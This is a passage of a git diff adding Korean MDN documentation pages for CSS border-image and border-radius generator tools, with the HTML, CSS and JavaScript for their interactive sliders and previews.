+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+
+ +
{{ EmbedLiveSample('Border_Image_Generator', '100%', '1270px') }}
diff --git a/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html new file mode 100644 index 0000000000..a5db192618 --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html @@ -0,0 +1,1601 @@ +--- +title: Border-radius 생성기 +slug: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +tags: + - CSS + - CSS Borders + - Tools +translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +--- +

이 도구를 사용해 CSS3 {{cssxref("border-radius")}} 값을 생성할 수 있습니다.

+ +
+

border-radius

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="preview" class="col span_12">
+            <div id="subject">
+                <div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top">
+                </div>
+                <div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top">
+                </div>
+                <div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom">
+                </div>
+                <div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom">
+                </div>
+
+                <div id="radius-ui-sliders">
+                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <div id="controls" class="group section">
+
+        <div class="group section">
+            <div id="dimensions">
+                <div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
+
+                <div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
+            </div>
+
+            <div id="output"></div>
+        </div>
+
+        <div class="group section">
+            <div id="radius-lock">
+                <div class="info"> rounded corner </div>
+                <div class="ui-checkbox" data-topic='top-left'></div>
+                <div class="ui-checkbox" data-topic='top-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-left'></div>
+            </div>
+
+            <div id="unit-selection">
+                <div class="info"> select border units </div>
+            </div>
+        </div>
+
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox > label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
